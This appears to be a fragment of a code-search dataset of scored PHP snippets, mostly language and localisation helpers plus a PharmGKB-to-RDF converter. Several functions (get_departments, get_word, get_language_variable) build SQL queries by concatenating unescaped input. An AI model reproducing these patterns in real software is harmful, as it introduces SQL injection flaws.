LoadListFile('Misc/occupations-old');\n\t//$pos['occupations']['scifi'] = LoadListFile('Misc/occupations-scifi');\n\t//$skills_scifi = LoadListFile('Misc/skills-scifi');\n\t\n\treturn $pos;\n}", "title": "" }, { "docid": "9605ac7feebdd37ec978d6414ec6501a", "score": "0.51289785", "text": "function _guessLanguage()\n\t{\n\t\tif( !preg_match_all( '/([a-z\\-]*)?[,;]/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches) ) {\n\t\t\treturn array();\n\t\t}\n\t\t\n\t\t$langs = array();\n\t\tforeach( $matches[1] as $lang ) {\n\t\t\tif( empty( $lang ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tarray_push( $langs, $lang );\n\t\t}\n\t\t\n\t\treturn $langs;\n\t}", "title": "" }, { "docid": "78957e03abd15ae0ca448b7bec78afbe", "score": "0.51248837", "text": "function get_languages()\n{\n $languages = array();\n $path = APPPATH.\"language\";\n $results = scandir($path);\n foreach ($results as $r) {\n if ($r === '.' || $r === '..' || $r === '.svn' || strpos($r,'_') != true) { continue; }\n if (is_dir($path . '/' . $r)) {\n if ($r == \"en_US\") {\n array_unshift($languages, $r);\n } else {\n $languages[] = $r;\n }\n }\n }\n\n return $languages;\n}", "title": "" }, { "docid": "0bd313e5e8952fcdfd42ec1e38bda701", "score": "0.5120951", "text": "function drugs()\n\t{\n\t\t$declared = '';\n\t\t$this->GetReadFile()->Read(1000); // first line is header\n\t\twhile($l = $this->GetReadFile()->Read(200000)) {\n\t\t\t$a = explode(\"\\t\",$l);\n\t\t\t$id = \"pharmgkb:$a[0]\";\n\n\t\t\t$this->AddRDF($this->QQuadL($id,\"rdfs:label\",\"$a[1] [$id]\"));\n\t\t\t$this->AddRDF($this->QQuad($id,\"rdf:type\", \"pharmgkb_vocabulary:Drug\"));\n\t\t\t$this->AddRDF($this->QQuad($id,\"void:inDataset\",$this->GetDatasetURI()));\n\t\t\t\n\t\t\tif(trim($a[2])) { \n\t\t\t\t// generic names\n\t\t\t\t// Entacapona [INN-Spanish],Entacapone [Usan:Inn],Entacaponum [INN-Latin],entacapone\n\t\t\t\t$b = explode(',',trim($a[2]));\n\t\t\t\tforeach($b AS $c) {\n\t\t\t\t\t$this->AddRDF($this->QQuadL($id,\"pharmgkb_vocabulary:generic_name\", str_replace('\"','',$c)));\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(trim($a[3])) { \n\t\t\t\t// trade names\n\t\t\t\t//Disorat,OptiPranolol,Trimepranol\n\t\t\t\t$b = explode(',',trim($a[3]));\n\t\t\t\tforeach($b as $c) {\n\t\t\t\t\t$this->AddRDF($this->QQuadL($id,\"pharmgkb_vocabulary:trade_name\", str_replace(array(\"'\", \"\\\"\"), array(\"\\\\\\'\", \"\") ,$c)));\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(trim($a[4])) {\n\t\t\t\t// Brand Mixtures\t\n\t\t\t\t// Benzyl benzoate 99+ %,\"Dermadex Crm (Benzoic Acid + Benzyl Benzoate + Lindane + Salicylic Acid + Zinc Oxide + Zinc Undecylenate)\",\n\t\t\t\t$b = explode(',',trim($a[4]));\n\t\t\t\tforeach($b as $c) {\n\t\t\t\t\t$this->AddRDF($this->QQuadL($id,\"pharmgkb_vocabulary:brand_mixture\", str_replace(array(\"'\", \"\\\"\"),array(\"\\\\\\'\",\"\"), $c)));\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(trim($a[5])) {\n\t\t\t\t// Type\t\n\t\t\t\t$this->AddRDF($this->QQuadL($id,\"pharmgkb_vocabulary:drug_class\", str_replace(array(\"'\", \"\\\"\"),array(\"\\\\\\'\",\"\"), $a[5])));\n\t\t\t}\n\t\t\tif(trim($a[6])) {\n\t\t\t\t// Cross References\t\n\t\t\t\t// drugBank:DB00789,keggDrug:D01707,pubChemCompound:55466,pubChemSubstance:192903,url:http://en.wikipedia.org/wiki/Gadopentetate_dimeglumine\n\t\t\t\t$b = explode(',',trim($a[6]));\n\t\t\t\tforeach($b as $c) {\n\t\t\t\t\t$this->GetNS()->ParsePrefixedName($c,$ns,$id1);\n\t\t\t\t\t$ns = str_replace(array('keggcompound','keggdrug','drugbank','uniprotkb'), array('kegg','kegg','drugbank', 'uniprot'), strtolower($ns));\n\t\t\t\t\tif($ns == \"url\") {\n\t\t\t\t\t\t$this->AddRDF($this->QQuad($id,\"pharmgkb_vocabulary:xref\", $id));\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->AddRDF($this->QQuad($id,\"pharmgkb_vocabulary:xref\", $ns.\":\".$id1));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(trim($a[8])) {\n\t\t\t\t// External Vocabulary\n\t\t\t\t// ATC:H01AC(Somatropin and somatropin agonists),ATC:V04CD(Tests for pituitary function)\n\t\t\t\t// ATC:D07AB(Corticosteroids, moderately potent (group II)) => this is why you don't use brackets and commas as separators.\n\t\t\t\t$b = explode(',',trim($a[8]),2);\n\t\t\t\tforeach($b as $c) {\n\t\t\t\t\tpreg_match_all(\"/ATC:([A-Z0-9]+)\\((.*)\\)$/\",$c,$m);\n\t\t\t\t\tif(isset($m[1][0])) {\n\t\t\t\t\t\t$atc = \"atc:\".$m[1][0];\n\t\t\t\t\t\t$this->AddRDF($this->QQuad($id,\"pharmgkb_vocabulary:xref\", $atc));\t\n\t\t\t\t\t\tif(!isset($declared[$atc])) {\n\t\t\t\t\t\t\t$declared[$atc] = '';\n\t\t\t\t\t\t\t$this->AddRDF($this->QQuadL($atc,\"rdfs:label\", $m[2][0]));\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}", "title": "" }, { "docid": "47e7907a52878f13b58e3dcffca46902", "score": "0.51186854", "text": "public function getLanguages() {\n\t\t$this->load->model('localisation/language');\n\t\t\n\t\t$languages = $this->model_localisation_language->getLanguages();\n\t\t\n\t\tforeach ($languages as $key => $language) {\n if (VERSION >= '2.2.0.0') {\n $languages[$key]['flag'] = 'language/' . $language['code'] . '/' . $language['code'] . '.png';\n } else {\n $languages[$key]['flag'] = 'view/image/flags/' . $language['image'];\n }\n }\n\t\t\t\t\n\t\treturn $languages;\n\t}", "title": "" }, { "docid": "099db2d18f00ad3b03c013d880facb17", "score": "0.5112792", "text": "function getPantryItems()\n{\n\tglobal $db;\n\n\t$curRecipe = $db->prepare('SELECT quantity, label, name FROM measurement m JOIN ingredient i ON m.id = i.measurement_id JOIN pantry p ON p.ingredient_id = i.id ORDER BY name;');\n\n\t$curRecipe->execute();\n\n\treturn $curRecipe->fetchall(PDO::FETCH_ASSOC);\n}", "title": "" }, { "docid": "ebd38886b310e1b02f6f0789e271a390", "score": "0.51110154", "text": "private function getThemeCategories() {\n$cat = Category::newFromName('Thématiques');\n$members = $cat->getMembers();\n\n$subcats = array();\n\nfor ($i = 0; $i < $members->count(); $i++) {\n $cur = $members->current();\n $subcats[$i]['title'] = $cur->getText();\n $subcats[$i]['url'] = $cur->getFullURL();\n $members->next();\n}\n \nreturn $subcats;\n}", "title": "" }, { "docid": "2c0df25fd5ad0066e48ef5dd7d51a2d0", "score": "0.5108486", "text": "public static function getKeywords($locale) {}", "title": "" }, { "docid": "622840e8554458e24961e350b9856ad4", "score": "0.51023614", "text": "function get_languages() {\n return array(\n 'af-ZA' => 'Afrikaans (South Africa)',\n 'ar-AA' => 'Arabic Unitag (العربية الموحدة)',\n 'hy-AM' => 'Armenian',\n 'az-AZ' => 'Azeri-Azərbaycanca (Azərbaycan)',\n 'id-ID' => 'Bahasa Indonesia',\n 'be-BY' => 'Belarusian-Беларуская (Беларусь)',\n 'bn-BD' => 'Bengali (Bangladesh)',\n 'bs-BA' => 'Bosanski (Bosnia)',\n 'bg-BG' => 'Bulgarian (Български)',\n 'ca-ES' => 'Catalan',\n 'zh-CN' => 'Chinese Simplified 简体中文',\n 'zh-TW' => 'Chinese Traditional (Taiwan)',\n 'hr-HR' => 'Croatian',\n 'cs-CZ' => 'Czech (Czech republic)',\n 'da-DK' => 'Danish (DK)',\n 'en-AU' => 'English (Australia)',\n 'en-GB' => 'English (United Kingdom)',\n 'en-US' => 'English (United States)',\n 'eo-XX' => 'Esperanto',\n 'et-EE' => 'Estonian',\n 'eu-ES' => 'Euskara (Basque)',\n 'fi-FI' => 'Finnish (Suomi)',\n 'fr-FR' => 'Français (Fr)',\n 'gl-ES' => 'Galician (Galiza)',\n 'de-DE' => 'German (DE-CH-AT)',\n 'el-GR' => 'Greek',\n 'gu-IN' => 'Gujarati (India)',\n 'he-IL' => 'Hebrew (Israel)',\n 'hi-IN' => 'Hindi-हिंदी (India)',\n 'hu-HU' => 'Hungarian (Magyar)',\n 'it-IT' => 'Italian (Italy)',\n 'ja-JP' => 'Japanese 日本語',\n 'km-KH' => 'Khmer (Cambodia)',\n 'ko-KR' => 'Korean (Republic of Korea)',\n 'ckb-IQ' => 'Kurdish Soranî (کوردى)',\n 'lo-LA' => 'Lao-ລາວ(ພາສາລາວ)',\n 'lv-LV' => 'Latvian (LV)',\n 'lt-LT' => 'Lithuanian',\n 'mk-MK' => 'Macedonian-Македонски',\n 'ml-IN' => 'Malayalam-മലയാളം(India)',\n 'mn-MN' => 'Mongolian-Монгол (Монгол Улс)',\n 'nl-NL' => 'Nederlands nl-NL',\n 'nb-NO' => 'Norsk bokmål (Norway)',\n 'nn-NO' => 'Norsk nynorsk (Norway)',\n 'fa-IR' => 'Persian (پارسی)',\n 'pl-PL' => 'Polski (Polska)',\n 'pt-BR' => 'Português (Brasil)',\n 'pt-PT' => 'Português (pt-PT)',\n 'ro-RO' => 'Română (România)',\n 'ru-RU' => 'Russian-Русский (CIS)',\n 'gd-GB' => 'Scottish Gaelic (GB)',\n 'sr-RS' => 'Serbian (Cyrilic)',\n 'sr-YU' => 'Serbian (Latin)',\n 'sq-AL' => 'Shqip-AL',\n 'sk-SK' => 'Slovak (Slovenčina)',\n 'es-ES' => 'Spanish (Español)',\n 'sv-SE' => 'Svenska (Sverige)',\n 'sw-KE' => 'Swahili',\n 'sy-IQ' => 'Syriac (Iraq)',\n 'ta-IN' => 'Tamil-தமிழ் (India)',\n 'th-TH' => 'Thai-ไทย (ภาษาไทย)',\n 'tr-TR' => 'Türkçe (Türkiye)',\n 'uk-UA' => 'Ukrainian-Українська (Україна)',\n 'ur-PK' => 'Urdu Pakistan (اردو)',\n 'ug-CN' => 'Uyghur (ئۇيغۇرچە)',\n 'vi-VN' => 'Vietnamese (Vietnam)',\n 'cy-GB' => 'Welsh (United Kingdom)'\n );\n}", "title": "" }, { "docid": "7c85e6b503736d95fb67e6f31d2b5df6", "score": "0.50933295", "text": "private function get_word_data( $word)\n {\n \t$word_array = array();\n \t$find_english = $this->xpath->query(\"/html/body/div/div/div/h2/span[@id='English']\");\n \tif ($find_english->length > 0)\n \t{\n \t\t$start_node = $find_english->item(0)->parentNode;\n \t\t\n \t\t$noun_array = $this->get_word_type($start_node, $word, \"Noun\");\n \t\tif ($noun_array)\n \t\t{\n \t\t\t$word_array[] = $noun_array;\n \t\t}\n \t\t\n \t\t$verb_array = $this->get_word_type($start_node, $word, \"Verb\");\n \t\tif ($verb_array)\n \t\t{\n \t\t\t$word_array[] = $verb_array;\n \t\t}\n \t\t\n \t\t$adjective_array= $this->get_word_type($start_node, $word, \"Adjective\");\n \t\tif ($adjective_array)\n \t\t{\n \t\t\t$word_array[] = $adjective_array;\n \t\t}\n\n \t\t/*\n \t\tif (count($word_array) > 0)\n \t\t{\n \t\t\t// add more words to first word\n \t\t\t$word_array[0][\"MORE_WORDS\"] = $this->get_more_words_from_links(\n \t\t\t\t\t$this->xpath->query(\"/html/body/div/div/div/ol/li/a\"));\n \t\t}\n \t\t*/\n \t\t\n \t\t\n \t\tif (count($word_array) == 0)\n \t\t{\n \t\t\t$this->error = get_class($this) . \": Did not find words at url \" . $this->url;\n \t\t}\n \t\t\n \t\treturn($word_array);\n \t}\n }", "title": "" }, { "docid": "d19066d2f28c6685980df42ae442e70e", "score": "0.50865334", "text": "public function getLanguages()\n {\n $results = $this->db->get_results(\"select LANGUAGE_ID, DESCRIPTION from SUPPORT\\$LANGUAGES\",ARRAY_N);\n return $results;\n }", "title": "" }, { "docid": "76f5387e679fe30a548fbe5a50feda0b", "score": "0.5080424", "text": "function GetLanguages() {\n\t\tglobal $EWR_LANGUAGE_FILE, $grLanguage;\n\t\t$ar = array();\n\t\tif (is_array($EWR_LANGUAGE_FILE)) {\n\t\t\t$cnt = count($EWR_LANGUAGE_FILE);\n\t\t\tif ($cnt > 1) {\n\t\t\t\tfor ($i = 0; $i < $cnt; $i++) {\n\t\t\t\t\t$langid = $EWR_LANGUAGE_FILE[$i][0];\n\t\t\t\t\t$phrase = $this->Phrase($langid) ?: $EWR_LANGUAGE_FILE[$i][1];\n\t\t\t\t\t$ar[] = array(\"id\" => $langid, \"desc\" => ewr_ConvertFromUtf8($phrase), \"selected\" => $langid == $grLanguage);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $ar;\n\t}", "title": "" }, { "docid": "1201d83f382807278a472d18e52c1eef", "score": "0.5077259", "text": "public function get_all_character_cats()\n\t\t{\n\t\t\t$this->db->select('*');\n\t\t\t$this->db->from('character_cat');\n\t\t\t$query = $this->db->get();\n\t\t\treturn $query->result_array();\t\t\n\t\t}", "title": "" }, { "docid": "e07c389ab0e43772306ec842061c530d", "score": "0.50748", "text": "public function getLanguages()\n {\n global $REX;\n \n if (!isset($this->clangs)) {\n $sql = \\rex_sql::factory();\n $data = $sql->getArray('SELECT id, name FROM '.$REX['TABLE_PREFIX'].'clang ORDER BY id');\n foreach ($data as $d) {\n $this->clangs[$d['id']] = $d['name'];\n }\n }\n return $this->clangs;\n }", "title": "" }, { "docid": "ef1e2d8176d117ab9c6f9637da72b578", "score": "0.5059655", "text": "function icl_post_languages(){\n\tif( function_exists( 'icl_get_languages' ) ) {\n\t\t$languages = icl_get_languages( 'skip_missing=0&orderby=code&order=DESC' );\n\t\tif(!empty( $languages )){\n\t\t\tforeach( $languages as $key => $l ){\n\t\t\t\tif( $l['country_flag_url'] ){\n\t\t\t\t\tif( !$l['active'] ) { echo '<a href=\"'.$l['url'].'\">'; }\n\t\t\t\t\t\techo '<span>'. esc_attr( $l['language_code'] ) .'</span>';\n\t\t\t\t\tif( !$l['active'] ) { echo '</a>'; }\n\t\t\t\t\tif( $key == 'da' ) { echo ' | '; }\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2e4dc9667a3be9e6d818e9104ad41162", "score": "0.50579846", "text": "public static function get_all_terms_with_language_suffix() {\n\t\tglobal $wpdb;\n\n\t\t$lang_codes = $wpdb->get_col( \"SELECT code FROM {$wpdb->prefix}icl_languages\" );\n\n\t\t/*\n\t\t Build the expression to find all potential candidates for renaming.\n\t\t * These must have the part \"<space>@lang_code<space>\" in them.\n\t\t */\n\n\t\t$where_parts = array();\n\n\t\tforeach ( $lang_codes as $key => $code ) {\n\t\t\t$where_parts[ $key ] = \"t.name LIKE '\" . '% @' . esc_sql( $code ) . \"%'\";\n\t\t}\n\n\t\t$where = '(' . join( ' OR ', $where_parts ) . ')';\n\n\t\t$terms_with_suffix = $wpdb->get_results( \"SELECT t.name, t.term_id, tt.taxonomy FROM {$wpdb->terms} AS t JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id WHERE {$where}\" );\n\n\t\t$terms = array();\n\n\t\tforeach ( $terms_with_suffix as $term ) {\n\n\t\t\tif ( $term->name == WPML_Troubleshooting_Terms_Menu::strip_language_suffix( $term->name ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$term_id = $term->term_id;\n\n\t\t\t$term_taxonomy_label = $term->taxonomy;\n\n\t\t\t$taxonomy = get_taxonomy( $term->taxonomy );\n\n\t\t\tif ( $taxonomy && isset( $taxonomy->labels ) && isset( $taxonomy->labels->name ) ) {\n\t\t\t\t$term_taxonomy_label = $taxonomy->labels->name;\n\t\t\t}\n\n\t\t\tif ( isset( $terms[ $term_id ] ) && isset( $terms[ $term_id ]['taxonomies'] ) ) {\n\t\t\t\tif ( ! in_array( $term_taxonomy_label, $terms[ $term_id ]['taxonomies'] ) ) {\n\t\t\t\t\t$terms[ $term_id ]['taxonomies'][] = $term_taxonomy_label;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$terms[ $term_id ] = array(\n\t\t\t\t\t'name' => $term->name,\n\t\t\t\t\t'taxonomies' => array( $term_taxonomy_label ),\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\treturn $terms;\n\t}", "title": "" }, { "docid": "e83f1ffa770ace1ce64312ee58af43f7", "score": "0.50521046", "text": "function getLanguages($langList){\n\t$languages = array();\n\tforeach ($langList as $lang){\n\t\t$json=file_get_contents (\"FINAL/locales/translation-$lang.json\");\n\t\t//we want an associative array, thus second parameter is true\n\t\t$languages[$lang] = json_decode($json,true);\n\t\t//print_r($obj);\n\t}\n\treturn $languages;\n}", "title": "" }, { "docid": "0717de1d05e001c6c5b676d1c1bfaddf", "score": "0.50487286", "text": "public function testReadMultilang() {\n $output = Json::decode(\n $this->drupalGet('/ca/fusion/node/article/' . $this->nodes[0]->uuid())\n );\n $this->assertEquals(\n $this->nodes[0]->getTranslation('ca')->getTitle(),\n $output['data']['attributes']['title']\n );\n }", "title": "" }, { "docid": "7446ad24be1b19b1c5932d654e0fc62e", "score": "0.50414395", "text": "function getAllSupportedLanguages () {\r\n\t\tif (! isset ($this->supported)) {\r\n\t\t\t$supported = array ();\r\n\t\t\t$supported[] = $this->defLang;\r\n\t\t\t$handler = opendir ($this->dir);\r\n\t\t\t$files = scandir ($this->dir);\r\n\t\t\tforeach ($files as $file) {\r\n\t\t\t\t// starts with a letter, then you have whatever you want and it ends with '.language.php'\r\n\t\t\t\tpreg_match_all ('/^(\\w.*)\\.language\\.php$/i', $file, $matches);\r\n\t\t\t\tforeach ($matches[0] as $key => $match) {\r\n\t\t\t\t\t$supported[] = $matches[1][$key];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$this->supported = $supported;\r\n\t\t}\r\n\t\treturn $this->supported;\r\n\t}", "title": "" }, { "docid": "957a784b763464e526b8b0973cb4be4c", "score": "0.504098", "text": "function get_departments($language) {\n $language = strip_tags($language);\n\n $connection = db_connect();\n\n $query = \"SELECT Department.id, Department.name FROM Department INNER JOIN Language ON Department.language_id=Language.id WHERE shortcode='\" . $language . \"' ORDER BY name ASC;\";\n $statement = $connection->query($query);\n $departments = $statement->fetchAll(PDO::FETCH_OBJ);\n\n db_close($connection);\n\n return $departments;\n\n}", "title": "" }, { "docid": "457041c060624caa24076a4e8ac7830a", "score": "0.50334793", "text": "private function getMultiLangTags(Product &$object): array\n {\n //====================================================================//\n // Native Multi langs Descriptions\n /** @var array $languages */\n $languages = Language::getLanguages();\n if (empty($languages)) {\n return array();\n }\n\n //====================================================================//\n // For Each Available Language\n $data = array();\n foreach ($languages as $lang) {\n //====================================================================//\n // Encode Language Code From Splash Format to Prestashop Format (fr_FR => fr-fr)\n $langCode = LanguagesManager::langEncode($lang[\"language_code\"]);\n $langId = (int) $lang[\"id_lang\"];\n //====================================================================//\n // Product Specific - Read Meta Keywords\n $data[$langCode] = $object->getTags($langId);\n }\n\n return $data;\n }", "title": "" }, { "docid": "c1d8c5d172efdc554e40c20ca74b8f01", "score": "0.5033289", "text": "function get_language_variable($variable = \"\")\n\t {\n\t $obj_Db = new db();\n\t if(isset($variable) && $variable != \"\")\n\t\t {\n\t\t $sql= \"select * from language WHERE name LIKE \".$variable.\"\";\n\t\t }else\n\t\t {\n\t\t $sql= \"select * from language\";\n\t\t }\n\t\t \n\t\t $result = $obj_Db->ExecuteQuery($sql);\n\t\t $numrows = mysql_num_rows($result);\n\t\t $resultdata = array(); \n\t if($numrows > 0)\n\t\t {\t\t\t\n\t \n\t while($languagevar = mysql_fetch_object($result))\n\t {\n\t $resultdata[] = $languagevar;\n\t }\n\t\t\t \n\t\t\t\n\t } \n\t\t \n\t\t return $resultdata;\n\t }", "title": "" }, { "docid": "d280212373a1d4ed0b8c4ba4de419c2a", "score": "0.5024388", "text": "public function getLanguages()\n\t{\n\t\t$dh = @opendir(DIR_LANG) or die('Cannot open language path');\n\t\twhile($file = readdir($dh))\n\t\t{\n\t\t\t$lang = explode('.', $file);\n\t\t\tif($lang[1] == 'txt')\n\t\t\t{\n\t\t\t\t$languages[] = $lang[0];\n\t\t\t}\n\t\t}\n\t\treturn $languages;\n\t}", "title": "" }, { "docid": "8f8e5dd83938413a0fc226c770c7daa4", "score": "0.5024249", "text": "function get_word($language,$english_word) {\n\t$la_q=\"SELECT word_\".$language.\" FROM recipes.language WHERE LOWER(word_en) LIKE LOWER(\\\"\".utf8_encode($english_word).\"\\\")\";\n\t$la=mysql_query($la_q) or die(mysql_error());\n/*\t\n\tif($english_word==\"all recipes\") {\n\t\techo $la_q;\n\t\texit;\n\t}\n*/\n\treturn mysql_result($la,0,0);\n\t\n}", "title": "" }, { "docid": "754a419297ce665c4069e1bd79f80923", "score": "0.5022604", "text": "public function getLangs(){\n return $this->languages;\n }", "title": "" }, { "docid": "f667092c189b8827a65c8bf64f0d82e9", "score": "0.502139", "text": "function wpt_get_list() {\n\t$box = '';\n\tforeach( wpt_get_langs() as $value ) {\n\t\t$box .= '<li id=\"language-' . $value . '\">XXX</li>';\n\t}\n\treturn $box;\n}", "title": "" }, { "docid": "55979915cd4cdde128bb71f445aa2b98", "score": "0.50144255", "text": "public function dataSampleWords()\n {\n return [\n ['', ''],\n // irregular\n ['monsieur', 'messieurs'],\n ['madame', 'mesdames'],\n ['mademoiselle', 'mesdemoiselles'],\n\n ['ami', 'amis'],\n ['chien', 'chiens'],\n ['fidèle', 'fidèles'],\n ['rapport', 'rapports'],\n [ 'sain', 'sains'],\n ['jouet', 'jouets'],\n ['bijou', 'bijoux'],\n ['caillou', 'cailloux'],\n ['chou', 'choux'],\n ['genou', 'genoux'],\n ['hibou', 'hiboux'],\n ['joujou', 'joujoux'],\n ['pou', 'poux'],\n # -s, -x, -z\n ['gaz', 'gaz'],\n # -au, -eu, -eau\n ['tuyau', 'tuyaux'],\n ['nouveau', 'nouveaux'],\n ['aveu', 'aveux'],\n ['bleu', 'bleus'],\n ['émeu', 'émeus'],\n ['landau', 'landaus'],\n ['lieu', 'lieus'], // poisson\n ['pneu', 'pneus'],\n ['sarrau', 'sarraus'],\n # -al\n ['journal', 'journaux'],\n # -ail\n ['détail', 'détails'],\n # -ail (exceptions)\n ['bail', 'baux'],\n ['corail', 'coraux'],\n ['émail', 'émaux'],\n ['gemmail', 'gemmaux'],\n ['soupirail', 'soupiraux'],\n ['travail', 'travaux'],\n ['vantail', 'vantaux'],\n ['vitrail', 'vitraux']\n ];\n }", "title": "" }, { "docid": "7a40ce7e6bfbb5b5788ec36ca92dd768", "score": "0.50137156", "text": "public function getTags($description){\n\t\n\t $sentences = explode(\".\", $description);\n\t $names = array();\n\t\n\t foreach($sentences as $sentence){\n\t\n\t $words = explode(\" \", trim($sentence));\n\t\n\t for($i=0; $i<count($words); $i++){\n\t\n\t $localName = \"\";\n\t\n\t if($words[$i] != \"\"){\n\t //if the word is upper case\n\t if($words[$i][0] == strtoupper(strtolower($words[$i][0]))){\n\t\n\t $localName .= $words[$i].\" \";\n\t\n\t //foreach word in the sentence\n\t $j = $i+1;\n\t $isUpperCase = 1;\n\t while($isUpperCase == 1 && $j<count($words)){\n\t\n\t \t\tif($words[$j] != \"\"){\n\n\t \t\t\tif($words[$j][0] == strtoupper(strtolower($words[$j][0]))){\n\t\t\n\t\t $localName .= $words[$j].\" \";\n\t\t\n\t\t }else{\n\t\t $isUpperCase = 0;\n\t\t }\n\t \t\t}\n\t \t\t\n\t $j++;\n\t\n\t }//End while\n\t\n\t\n\t array_push($names, $localName);\n\t $localName = \"\";\n\t\n\t $i = $j-1; //We dont want to run through the visited words.\n\t\n\t }//End if\n\t\n\t }//End - check if its not empty\n\t\n\t }//End foreach word.\n\t\n\t }//End foreach sentence\n\t\n\t return $names;\n\t}", "title": "" }, { "docid": "264a617e5dcbddcbb08a900191a577ad", "score": "0.500774", "text": "function categorias($idioma=\"es\"){\n $r = $this->bd->seleccion(\"nombre_$idioma from categorias order by nombre_$idioma ASC\");\n $cats = array();\n while ($r && $f = $this->bd->obtener_fila($r)) {\n array_push($cats,$f);\n }\n return $cats;\n }", "title": "" }, { "docid": "4b385377ea690c305a6dd077ed56a5ef", "score": "0.5002755", "text": "function ptv_get_provinces( $lang = null ) {\n\n\tif ( ! $lang ) {\n\t\t$settings = ptv_get_settings();\n\t\t$lang = $settings['primary_language'];\n\t}\n\n\t// Fallback to fi.\n\tif ( 'en' === $lang ) {\n\t\t$lang = 'fi';\n\t}\n\n\t$provinces = json_decode( file_get_contents( PTV_FOR_WORDPRESS_DIR . '/resources/provinces.json' ) );\n\n\t$province_options = array();\n\n\tif ( isset( $provinces ) and is_array( $provinces ) ) {\n\t\tforeach ( $provinces as $province_object ) {\n\n\t\t\tforeach ( $province_object->Names as $name ) {\n\t\t\t\tif ( $lang === $name->Language ) {\n\t\t\t\t\t$province_options[ $province_object->Code ] = $name->Name;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn $province_options;\n\n}", "title": "" }, { "docid": "7e06bc0419e4d63c5e2dbb8a37c21ccb", "score": "0.4999068", "text": "function tep_get_categories_name($who_am_i) {\n global $languages_id;\n $the_categories_name_query= tep_db_query(\"select categories_name from \" . TABLE_CATEGORIES_DESCRIPTION . \" where categories_id= '\" . $who_am_i . \"' and language_id= '\" . $languages_id . \"'\");\n\n $the_categories_name = tep_db_fetch_array($the_categories_name_query);\n return $the_categories_name['categories_name'];\n }", "title": "" }, { "docid": "f1cd9f96109fc63915980ee1af7a8147", "score": "0.4995248", "text": "function polyglot_filter($text, $lang = '') {\n\tglobal $polyglot_settings;\n\t\n\tif($lang == ''){$lang = $polyglot_settings['lang_pref'];}\n\t\n\t$text = preg_replace(\"/\\[(\\/){0,1}lang_(..)\\]/i\", \"<$1lang_$2>\", $text);//fix for [lang_xx]\t\n\t$text = preg_replace ('/<p>(<(\\/){0,1}lang_..>)<\\/p>/i',\"$1\",$text);//fix for <p><lang_xx></p>\n\t\n\t$text = preg_replace ('/(<lang_..>)/i',\"</lang_all>\\\\1\",$text);//adds lang_all to all other stuff that is not enclosed in lang_xx tags\n\t$text = preg_replace ('/(<\\/lang_..>)/i',\"\\\\1<lang_all>\",$text);\n\t$text = '<lang_all>'.$text.'</lang_all>';\n\t\n\t\n\t\n\t\n\tif (preg_match_all ( '/<lang_(..)>/', $text , $match, PREG_PATTERN_ORDER)) {\n if (isset($polyglot_settings['lang_pref']) && polyglot_lang_exists($polyglot_settings['lang_pref'],$text)){\n //lets try to get proper language version\n $text=str_replace(\"<lang_all>\",\"<lang_{$polyglot_settings['lang_pref']}>\",$text);//we don't want just lang_pref parts but also lang_all parts\n $text=str_replace(\"</lang_all>\",\"</lang_{$polyglot_settings['lang_pref']}>\",$text);\n\t\t\t\n $find = \"/(?s)<lang_{$polyglot_settings['lang_pref']}>(.*?)<\\/lang_{$polyglot_settings['lang_pref']}>/\";\n preg_match_all ( $find, $text , $match, PREG_PATTERN_ORDER);\n $text = implode('',$match[1]);\n \n }\n elseif(polyglot_lang_exists($polyglot_settings['default_lang'],$text)){\n //or at least the default language\n\t\t\t$text=str_replace(\"<lang_all>\",\"<lang_{$polyglot_settings['default_lang']}>\",$text);\n $text=str_replace(\"</lang_all>\",\"</lang_{$polyglot_settings['default_lang']}>\",$text);\n $find = \"/(?s)<lang_{$polyglot_settings['default_lang']}>(.*?)<\\/lang_{$polyglot_settings['default_lang']}>/\";\n preg_match_all ( $find, $text , $match, PREG_PATTERN_ORDER);\n $text = implode('',$match[1]);\n }\n \n else {\n //all untranslated stuff\n $text=str_replace(\"<lang_all>\",\"\",$text);\n $text=str_replace(\"</lang_all>\",\"\",$text);\n $find = \"/(?s)<lang_(.*?)>(.*?)<\\/lang_(.*?)>/\";\n $replace = \"\";\n $text = preg_replace($find,$replace,$text);\n }\n }\n\n\treturn str_replace(array(\"<lang_all>\",\"</lang_all>\"),array('',''),$text);\n}", "title": "" }, { "docid": "590e23bb847fedde0feb6fb1a91860f8", "score": "0.49932194", "text": "public static function getFormatedVisibleLanguages()\n\t{\n\t\t$allLangues = [\n\t\t\t'fr' => ['name' => 'French', 'script' => 'Latn', 'native' => 'Français', 'regional' => 'fr_FR'],\n \t\t\t'en' => ['name' => 'English', 'script' => 'Latn', 'native' => 'English', 'regional' => 'en_GB'],\n\t 'de' => ['name' => 'German','script' => 'Latn', 'native' => 'Deutsch', 'regional' => 'de_DE'],\n\t 'it' => ['name' => 'Italian','script' => 'Latn', 'native' => 'italiano', 'regional' => 'it_IT'],\n\t\t\t'es' => ['name' => 'Spanish', 'script' => 'Latn', 'native' => 'Español', 'regional' => 'es_ES'],\n\t 'zh' => ['name' => 'Chinese (Simplified)', 'script' => 'Hans', 'native' => '简体中文', 'regional' => 'zh_CN'],\n\t 'pt' => ['name' => 'Portuguese','script' => 'Latn', 'native' => 'português', 'regional' => 'pt_PT'],\n\t 'ja' => ['name' => 'Japanese','script' => 'Jpan', 'native' => '日本語', 'regional' => 'ja_JP'],\n\t 'ar' => ['name' => 'Arabic','script' => 'Arab', 'native' => 'العربية', 'regional' => 'ar_AE'],\n\t 'ru' => ['name' => 'Russian','script' => 'Cyrl', 'native' => 'русский', 'regional' => 'ru_RU'],\n\t 'pl' => 